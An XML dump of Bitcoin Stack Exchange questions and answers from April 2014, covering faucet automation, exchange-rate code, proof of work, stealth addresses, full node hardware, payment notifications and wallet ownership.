  <row Id="24414" PostTypeId="1" AcceptedAnswerId="24599" CreationDate="2014-04-08T14:08:15.420" Score="0" ViewCount="289" Body="&lt;p&gt;I want to create a website where people can submit their altcoin address and they receive some for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addresses are saved in a MySQL database and the transactions are send from just one address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I have to connect the database with the altcoin client so the transactions to the user addresses are processed automatically?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="15127" LastActivityDate="2014-04-14T11:00:55.463" Title="Automated transactions to addresses from database" Tags="|transactions|database|mysql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24415" PostTypeId="2" ParentId="12364" CreationDate="2014-04-08T14:37:50.870" Score="2" Body="&lt;p&gt;An older, maybe somewhat wiser me, answering my own question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some PHP to get the exchange rate. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$page = file_get_contents('https://bitpay.com/api/rates');&#xA;$my_array = json_decode($page, true);&#xA;$exchange_rate = $my_array[0][&quot;rate&quot;];      &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I eventually found it easiest to do in javascript, since you're going to want to display the price as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anywhere you have an element with `class=&quot;price&quot;, this will add the mBTC equivalent next to it. Tweak to your liking. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;  $.getJSON('https://bitpay.com/api/rates', function(data){&#xA;    var rate = data[0].rate;&#xA;&#xA;    $(&quot;.price&quot;).each(function(i){&#xA;      var tex = $(this).text();&#xA;      var usdPrice = Number(tex.replace(/[^0-9.-]+/g,&quot;&quot;)); &#xA;      var mbtcPrice = 1000*usdPrice/rate;&#xA;      $(this).append(&quot;(&amp;amp;nbsp;~&quot; + String(mbtcPrice.toFixed(0))+ &quot;&amp;amp;nbsp;mBTC)&quot;);&#xA;    }); &#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4923" LastActivityDate="2014-04-08T14:37:50.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24416" PostTypeId="2" ParentId="24401" CreationDate="2014-04-08T15:18:37.583" Score="1" Body="&lt;p&gt;I'm afraid your first paragraph is not accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proof-of-work that a miner presents &lt;em&gt;doesn't&lt;/em&gt; certify &quot;I have verified the signatures.&quot;  Verifying a signature is a cheap computational task, and every client on the network can (and does) verify for itself that every signature in the block chain is valid.  They don't have to rely on a miner to verify the signatures for them.  Indeed, if all we needed to do was verify that every transaction was properly authorized, we wouldn't need miners at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining solves a different problem, called the &quot;double spend problem&quot;: there could be two different transactions, both properly authorized, that are in conflict because they attempt to spend the same coins.  The community needs to be able to reach a consensus as to which of the two should be accepted.  The choice can be made arbitrarily, but then in order to keep the community committed to that choice, the protocol requires proof of work to certify that this transaction is accepted.  If the community (or someone within it) later wanted to go back and change its mind about which transaction to accept, they would have to redo all the work that had been done in the meantime, which is intended to be prohibitively expensive.  The computational work that's done is useless in and of itself; the proof of work certifies nothing except that &lt;em&gt;some&lt;/em&gt; work was done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are describing later sounds to me more like a &lt;a href=&quot;http://en.wikipedia.org/wiki/Zero_knowledge_proof&quot; rel=&quot;nofollow&quot;&gt;zero-knowledge proof&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-08T15:18:37.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24418" PostTypeId="2" ParentId="24410" CreationDate="2014-04-08T18:30:47.560" Score="3" Body="&lt;p&gt;&quot;Originating address&quot; is not a valid concept in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some sites (like Satoshi Dice) try to make an educated guess but they might as well be throwing darts blindfolded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only safe way to refund Bitcoins is to explicitly obtain a refunds address from whomever you're accepting a payment from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else you do is going to break sooner or later when a customer pays you via a type of wallet or transaction which you weren't anticipating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Break&quot; here means sending funds to the wrong entity, or even worse: permanently losing them by sending to an address for which no private key exists.&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2014-04-08T18:30:47.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24419" PostTypeId="2" ParentId="3506" CreationDate="2014-04-08T18:33:46.610" Score="1" Body="&lt;p&gt;Cryptsy is TOR friendly- allowing users to both access the site and maintain accounts via TOR. This is as of 04-08-2014. Conditions may change soon due to &quot;us&quot; accepting USD. &lt;/p&gt;&#xA;" OwnerUserId="15134" LastActivityDate="2014-04-08T18:33:46.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24420" PostTypeId="2" ParentId="24144" CreationDate="2014-04-08T18:44:40.480" Score="3" Body="&lt;p&gt;At Cryptsy the order is First In First Out influenced by the account's trading history. If the server were to receive buy orders at the same time assuming there is enough coins at the specified price to fill the orders, the server looks at each account and the one with the most trading history gets processed first, then in order to the account with the least trading history. I work for Cryptsy, I'm Brad! &lt;/p&gt;&#xA;" OwnerUserId="15134" LastActivityDate="2014-04-08T18:44:40.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24421" PostTypeId="2" ParentId="24212" CreationDate="2014-04-08T18:48:15.723" Score="0" Body="&lt;p&gt;due to this bug and other reported bugs seemingly related to improper accounting of change addresses escalating to &lt;b&gt;LOST BITCOINS&lt;/b&gt; see someone else's post here: (&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/22gt4r/major_mulitibit_bug_btc_gone_it_cost_me_all_of_my/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/22gt4r/major_mulitibit_bug_btc_gone_it_cost_me_all_of_my/&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've switched to electrum, fortunately at the time (tons of blockchain resets), multibit was reporting my entire balance and was able to move it all to my electrum addresses.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-04-08T18:48:15.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24422" PostTypeId="2" ParentId="20895" CreationDate="2014-04-08T19:01:07.860" Score="0" Body="&lt;p&gt;I think the best way to gauge exchanges is based on their structure, the information they provide to the public, and their overall features. Exchanges are not banks (yet), so there is no set regulations for them to follow especially if the exchange is located outside the USA. Is the exchange proactive about security and precautions-also if an incident occurs is there some point of contact for more information? Some exchanges don't even have a customer support service, so that would be the first thing to check for. Second does the exchange openly tell you about it's structure, provides all the conditions to usage and terms upfront? Someone in another answer mentioned AML policies and that's only one possible indicator. Last you want an exchange that has a good selection of coins, can hold your coins safely, is NOT at the risk of insolvency, has an interface that is intuitive, but provides enough information to perform the desired tasks. Cryptsy.com happens to meet all those conditions. I can only mention Cryptsy because thats the one I know the insides  of and can speak as an authority. &lt;/p&gt;&#xA;" OwnerUserId="15134" LastActivityDate="2014-04-08T19:01:07.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24423" PostTypeId="1" AcceptedAnswerId="24450" CreationDate="2014-04-08T19:11:10.020" Score="5" ViewCount="5989" Body="&lt;p&gt;In the &lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=541&quot;&gt;what’s new in Bitcoin Core 0.9.0&lt;/a&gt; notes there is a reference to a &lt;strong&gt;refund address&lt;/strong&gt;. I tried to look it up in the forums and the wikis but I came up with nothing. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I set a &lt;code&gt;refund address&lt;/code&gt; when sending money from the &lt;code&gt;QT client&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I retrieve the &lt;code&gt;refund address&lt;/code&gt; for a transaction from &lt;code&gt;bitcoin-cli&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-04-10T01:32:08.250" Title="Transaction refund address" Tags="|bitcoind|bitcoin-core|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24424" PostTypeId="2" ParentId="24149" CreationDate="2014-04-08T19:50:45.603" Score="-1" Body="&lt;p&gt;It's time to reach the mass with all media attention so Safe, Secured, and Easy to trade should do it. Now you're looking at the average Joe not innovators or early adopters!&lt;/p&gt;&#xA;" OwnerUserId="15137" LastActivityDate="2014-04-08T19:50:45.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24426" PostTypeId="1" AcceptedAnswerId="24510" CreationDate="2014-04-08T20:15:45.200" Score="0" ViewCount="551" Body="&lt;p&gt;I'm going to assume that during the days where Ripple was irrationally hated by some sub-population, a la the ripplescam.com site which used to be the first result on Google for &quot;ripple coin&quot; until Ripple set the decentralization plan in motion, that it was mercilessly DoS and DDoS attacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How were/are the servers protected?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-04-11T21:31:28.613" Title="How did Ripple handle DoS/DDoS during the ripplescam.com days?" Tags="|ripple|attack|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24429" PostTypeId="1" CreationDate="2014-04-08T20:37:53.297" Score="5" ViewCount="1444" Body="&lt;p&gt;I am reading the technical &quot;specification&quot; for stealth addresses, available &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/31813471/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. The core idea is described in the following paragraph:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using Elliptic curve Diffie-Hellman (ECDH) we can generate a shared&#xA;  secret that the payee can use to recover their funds. Let the payee&#xA;  have keypair Q=dG. The payor generates nonce keypair P=eG and uses&#xA;  ECDH to arrive at shared secret c=H(eQ)=H(dP). This secret could be&#xA;  used to derive a ECC secret key, and from that a scriptPubKey, however&#xA;  that would allow both payor and payee the ability to spend the funds.&#xA;  So instead we use BIP32-style derivation to create Q'=(Q+c)G and&#xA;  associated scriptPubKey.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand everything except the last sentence. As far as I can tell, &lt;code&gt;Q&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; are known to the payee and payer so the keypair &lt;code&gt;Q'=(Q+c)G&lt;/code&gt; is also known to both. How does &lt;code&gt;Q'&lt;/code&gt; allow for only the payee to spend the funds? How does BIP32-style derivation work?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="3347" LastEditDate="2019-10-26T23:39:38.493" LastActivityDate="2019-10-26T23:39:38.493" Title="What is BIP32-style derivation?" Tags="|address|ecdh|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24430" PostTypeId="1" AcceptedAnswerId="24574" CreationDate="2014-04-08T20:59:34.490" Score="1" ViewCount="228" Body="&lt;p&gt;Is it possible to enable a 2 of 3 transaction without the escrow component defined as &quot;nobody can run off with the funds but the funds have to exist&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a scenario where A wants to pay C and requires intermediary B for multisig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for A to authorize a transaction with B and C with one partially signed signature, and then B and C can combine that signature to create a transaction? B and C will have several ways to determine if funds are available from A, but for sake of brevity lets assume A has funds&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-04-13T18:51:25.153" Title="multisig without tying up funds" Tags="|multi-signature|escrow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24431" PostTypeId="2" ParentId="24401" CreationDate="2014-04-08T21:31:17.653" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;...how do you determine that the computer program that's supposed to resolve the dispute has actually been run, and if so whether the output of the program is being reported fairly by the computer that ran it? ...&lt;/p&gt;&#xA;&lt;p&gt;But it occurs to me that the issue with external state contracts is analogous to the issue I described above that's solved with the blockchain. So why can't you solve it the same way in this case?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If I understand you correctly, the question you're asking is: Why can't you extend the blockchain trust/coordination system to handle the problem of resolving disputes about the validity of a computation's output (or validity of an observation, like &amp;quot;who won this game?&amp;quot;).  After all, if the blockchain gets everyone to agree on a transaction record, why not on arbitrary claims about the world?&lt;/p&gt;&#xA;&lt;p&gt;The answer, in short, is that the blockchain restricts the &amp;quot;claims&amp;quot; that it &amp;quot;proves&amp;quot; to ones that, by construction, it can provide (strong) evidence for.  And those claims rely on special cryptographic properties that don't (as far as we know) generalize to arbitrary claims about the world.&lt;/p&gt;&#xA;&lt;p&gt;More concretely, what the blockchain is claiming (and getting network coordination on) is something like, &amp;quot;These transactions happened in this order.&amp;quot;  And it proves it by saying, &amp;quot;Transaction T30 must have been seen by someone who had already seen transactions T29, T28 ..., and spent 9000 units of work (say, computations of SHA-256) on it.&amp;quot;  Which in turn is proven by how SHA-256 has a known computation difficulty, and the proof-of-work for Transaction T30 was generated uniquely from the previous transactions.&lt;/p&gt;&#xA;&lt;p&gt;That's a very different problem than proving that a certain (family of) computation(s) has a certain result.  For that problem (as Nate Eldredge mentions), you will want to use Zero-Knowledge Proofs, an active area of research.  But those a) only apply to &amp;quot;pure functions&amp;quot;, not arbitrary questions about the Real World, and b) require a certain asymmetry between computation and verification -- i.e., it must be a lot easier to verify them than to do the computation, or else you've saved nothing: just do the computation yourself instead of trusting others' reports!&lt;/p&gt;&#xA;&lt;p&gt;And it's ever further off from the problem of &amp;quot;proving&amp;quot; real-world observations.  So yeah, the best we have cryptographically is to designate an address as trusted on certain matters, and then check the validity of their signatures.&lt;/p&gt;&#xA;&lt;p&gt;In terms of verifying real-world claims, the best we have is to check all the implications of that claim, which is just old-fashioned fact-checking.  For the ballgame example, that would be checking things like &amp;quot;What do the newspapers report about the game?  What do the league records say?  Who played next in the tournament?&amp;quot;  Which is fine in practice -- like resolving things at the bookie.  But it doesn't provide a &lt;em&gt;cryptographic&lt;/em&gt; proof, which would have to be robust against attackers e.g. falsifying news reports and such.&lt;/p&gt;&#xA;&lt;p&gt;Okay, I've rambled enough now.  Did I answer your question?&lt;/p&gt;&#xA;" OwnerUserId="15141" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-08T21:31:17.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24434" PostTypeId="1" AcceptedAnswerId="24435" CreationDate="2014-04-08T23:36:31.107" Score="18" ViewCount="9957" Body="&lt;p&gt;I want to build a &lt;strong&gt;low profile system&lt;/strong&gt; running as a full Bitcoin node, i.e. just running Bitcoin Core 0.9+ and pretty much nothing else. What is the minimal system (in terms of power consumption) that would be suitable for this task? Just bitcoind will do, no interface or visual interaction needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really prefer something where I don't need to build all the software manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple small netbook would do, I guess. But could I even use something like a Raspberry Pi? Or perhaps some other &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_single-board_computers&quot;&gt;single board computer&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it'll need at least 20-30 GB disk space (for OS + Bitcoin Core with entire blockchain). Is there a minimum amount of RAM I'd need for bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curious to hear what kind of system and OS you guys would recommend for this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(P.S. to avoid confusion: I just mean running a full Bitcoin &lt;em&gt;node&lt;/em&gt;, not mining)&lt;/p&gt;&#xA;" OwnerUserId="14357" LastEditorUserId="44556" LastEditDate="2017-01-11T14:27:33.230" LastActivityDate="2017-01-11T14:27:33.230" Title="What are the minimal system requirements to run a full Bitcoin node?" Tags="|bitcoind|linux|nodes|raspberry-pi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24435" PostTypeId="2" ParentId="24434" CreationDate="2014-04-09T00:38:25.487" Score="9" Body="&lt;p&gt;Just some thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As of the time of writing the main net's full blockchain size is 21,670,092,800 bytes, a bit more than 20 GB, that is. So you should have way more disk space that just 20-30 GB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A Raspberry Pi runs with an SD. SD is known for its limited rewriting capabilities (it's not a heavy duty storage solution, it will bite the dust after a while) and on top of that there's also the very important factor of the data transfer rate. SD's top model type (Class U3) maxs at 30 MB/s while a typical SATA-3 disk will max at 750 MB/s, which BTW can go as high as 2 GB/s with a SATA Express attached to a twin PCI Express 3.2 lane, but I guess this is not a low-spec computer any more. And yes, I know, you can mount an external USB HD to a R-Pi but even in this case you'll never get these speeds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some of the top single board computers could perform well, and I think this is the best solution for a low power-consumption full node. For example if you attach a SATA hard drive to &lt;a href=&quot;https://www.isee.biz/products/igep-processor-boards/igepv5-omap5432&quot; rel=&quot;nofollow noreferrer&quot;&gt;IGEPv5 Full Version&lt;/a&gt; you will most probably get quite good performance at a very low cost, both of acquisition but operational as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A low-spec computer could deliver great results with some lightweight linux distributions, my personal favorite is &lt;a href=&quot;http://lubuntu.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lubuntu&lt;/a&gt; that comes with an LX11DE UI and then bitcoin's installation would be as easy as: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Menu &amp;gt; Accessories &amp;gt; LXTerminal &amp;gt; $&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo add-apt-repository ppa:bitcoin/bitcoin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get update&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get install bitcoind&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit 1: Pictures speak louder than words (as a response to &lt;a href=&quot;https://bitcoin.stackexchange.com/users/5292/jannes&quot;&gt;Jannes&lt;/a&gt;'s comment, so I'm attaching a few performance screenshots from a full node running in Windows that just received a new block and a couple of minutes after that, as well as an analysis of the I/O index:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Verifying incoming block:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qc3uw.jpg&quot; alt=&quot;Verifying a block&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One of the I/O spikes of the block verification at level 3 (default for all clients):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOdhP.jpg&quot; alt=&quot;One of the I/O peaks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I/O analysis for the above graphs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hGTLE.jpg&quot; alt=&quot;I/O analysis&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-11-12T19:07:56.320" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="24436" PostTypeId="1" CreationDate="2014-04-09T04:25:18.670" Score="3" ViewCount="1239" Body="&lt;p&gt;Where can I find information on running a Gridseed miner on Mac OSX? Either BTC and/or LTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for rather consistent information, by this I mean instructions with links that point to the software that works with the instructions or at least specifies the version of the software. One problem I see is that instructions are created and then the software is updated and no longer matched the instructions.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="2306" LastEditDate="2016-03-18T13:12:40.847" LastActivityDate="2017-05-12T23:37:10.303" Title="Gridseed Mac OSX software" Tags="|litecoin|mac|mining-software|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24437" PostTypeId="2" ParentId="22951" CreationDate="2014-04-09T05:32:16.577" Score="-1" Body="&lt;p&gt;a float natively only goes up to 7 decimals in most cases. if you just roll with decimal you'll be safe. When you round a 7 digit number to 8 decimal places you'll run into rounding issues.&lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2014-04-09T05:32:16.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24438" PostTypeId="2" ParentId="24429" CreationDate="2014-04-09T07:49:19.933" Score="1" Body="&lt;p&gt;I believe there is a typo. It should instead read &lt;code&gt;Q'=(d+c)G=Q+cG&lt;/code&gt;. The private part &lt;code&gt;d+c&lt;/code&gt; is an offset of the payee's private part &lt;code&gt;d&lt;/code&gt;, so only known to the payee. The public part is an offset &lt;code&gt;cG&lt;/code&gt;, known to both.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-04-09T07:49:19.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24439" PostTypeId="2" ParentId="12589" CreationDate="2014-04-09T10:43:22.553" Score="0" Body="&lt;p&gt;Its not possible to test it offline (probably because of file_get_contents() function which is present in create.php )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, as far as I know, you would have to write your update queries or whatever you want to do, inside the callback.php file, which is called by Blockchain itself once a transaction has been done.&lt;/p&gt;&#xA;" OwnerUserId="15125" LastActivityDate="2014-04-09T10:43:22.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24441" PostTypeId="2" ParentId="24405" CreationDate="2014-04-09T14:38:24.833" Score="2" Body="&lt;p&gt;If you fake the bitcoin blocks, then you will be mining only namecoins and no bitcoins, so you are losing 99% of your mining income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't just mine at a height above the current namecoin blockchain. Remember that it is a chain. Each block has to link to the previous one. If you want to mine at namecoin height X which is thousands of blocks above the current height, how will you know in advance what the hash of the block at height X-1 will be?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-09T14:38:24.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24443" PostTypeId="1" AcceptedAnswerId="24449" CreationDate="2014-04-09T18:54:44.433" Score="3" ViewCount="2520" Body="&lt;p&gt;I am experimenting building an in-house Bitcoin payment system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is currently the recommended practice to get notifications to your web server when a certain Bitcoin address receives a transaction? E.g. trigger an action from somewhere which results a HTTP call made to a web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any better alternatives than polling bitcoind? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;External systems (blockchain.info) are good to go too for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to filter for certain confirmation threshold (e.g. need 6 confirmations)?&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-04-09T23:51:18.917" Title="Get a programmatical notification when an address receives a transaction" Tags="|transactions|bitcoind|" AnswerCount="2" CommentCount="0" ClosedDate="2014-04-10T06:19:52.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="24444" PostTypeId="1" AcceptedAnswerId="24446" CreationDate="2014-04-09T19:35:54.637" Score="0" ViewCount="69" Body="&lt;p&gt;I administer a public association. Can the association have a bitcoin wallet? Or does it have to a person that owns the wallet.&lt;/p&gt;&#xA;" OwnerUserId="15151" LastActivityDate="2014-04-09T19:48:50.873" Title="Who can 'own' a wallet?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24445" PostTypeId="1" AcceptedAnswerId="24447" CreationDate="2014-04-09T19:45:17.997" Score="-2" ViewCount="665" Body="&lt;p&gt;I was looking on BTC jam and I came across something called a GPG Key ID, do you know what it is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LFzJX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14710" LastActivityDate="2014-04-09T19:58:49.613" Title="What is a GPG Key ID?" Tags="|websites|" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-09T22:30:46.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="24446" PostTypeId="2" ParentId="24444" CreationDate="2014-04-09T19:48:50.873" Score="2" Body="&lt;p&gt;Any sort of entity can own a bitcoin wallet. Being a decentralized system, there are no rules in place saying what sort of persons or organizations can own bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to manage it would be to give the password to one or more trusted leaders of the association. This would mean that any of those leaders could spend (or steal) the funds at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to use a &lt;a href=&quot;https://en.bitcoin.it/wiki/Address#Multi-signature_addresses&quot; rel=&quot;nofollow&quot;&gt;multi-signature address&lt;/a&gt;, so that some quorum (say, 4 out of 5 board members) of signatures is required. This would mean that your leaders must agree to spend (or steal) some amount of funds. You might generate this with, e.g. &lt;a href=&quot;https://coinb.in/multisig/&quot; rel=&quot;nofollow&quot;&gt;https://coinb.in/multisig/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have one of each: a &quot;hot&quot; wallet that anyone can spend from, for convenience, and a &quot;cold&quot; wallet that stores the bulk of your funds, but requires additional authorization to spend from.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-04-09T19:48:50.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24447" PostTypeId="2" ParentId="24445" CreationDate="2014-04-09T19:58:49.613" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_Privacy_Guard&quot; rel=&quot;nofollow&quot;&gt;GPG = GNU Privacy Guard&lt;/a&gt;, which is a public/private key signing/encryption system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your GPG Key ID is a short &lt;a href=&quot;https://en.wikipedia.org/wiki/Public_key_fingerprint&quot; rel=&quot;nofollow&quot;&gt;fingerprint&lt;/a&gt; of your public key. Presumably*, BTC Jam will look up your fingerprint on Bitcoin OTC, ask you to sign something to verify that you own it, and know that it can securely use your reputation from Bitcoin OTC to show that you are reputable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Hopefully they have you sign something specific like &quot;BTC Jam user xyz is Bitcoin OTC user asd, timestamp 2014-04-09 20:00:00&quot;, otherwise you just go find the highest-reputation public key on Bitcoin OTC and say it's yours.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-04-09T19:58:49.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24448" PostTypeId="2" ParentId="24443" CreationDate="2014-04-09T21:10:02.880" Score="1" Body="&lt;p&gt;Blockchain.info provides exactly this functionality: &lt;a href=&quot;https://blockchain.info/wallet/payment-notifications&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/payment-notifications&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the HTTP post method, you just need a web server listening for POST data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the 6 confirmations, you could easily achieve this by waiting 60 minutes (or so) after the data came in from blockchain.info. Or you could periodically lookup the transaction identifier on blockchain.info using its API to check when it has reached 6 confirmations.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-04-09T21:10:02.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24449" PostTypeId="2" ParentId="24443" CreationDate="2014-04-09T23:51:18.917" Score="3" Body="&lt;p&gt;Polling &lt;code&gt;bitcoind&lt;/code&gt; is superior to any other alternatives as there is zero lag, your operations don't depend on a 3rd party SPOF service, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fresh incoming payment is also an outspent output, so calling &lt;code&gt;bitcoin-cli listunspent 6 9999999 &quot;[\&quot;localAddressInQuestion\&quot;]&quot;&lt;/code&gt; will provide you with the exact unspent amount for this address only. Replace &lt;code&gt;6&lt;/code&gt; with any number you wish to set as the confirmation threshold or make it &lt;code&gt;0&lt;/code&gt; to get the unconfirmed payments as well.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-09T23:51:18.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
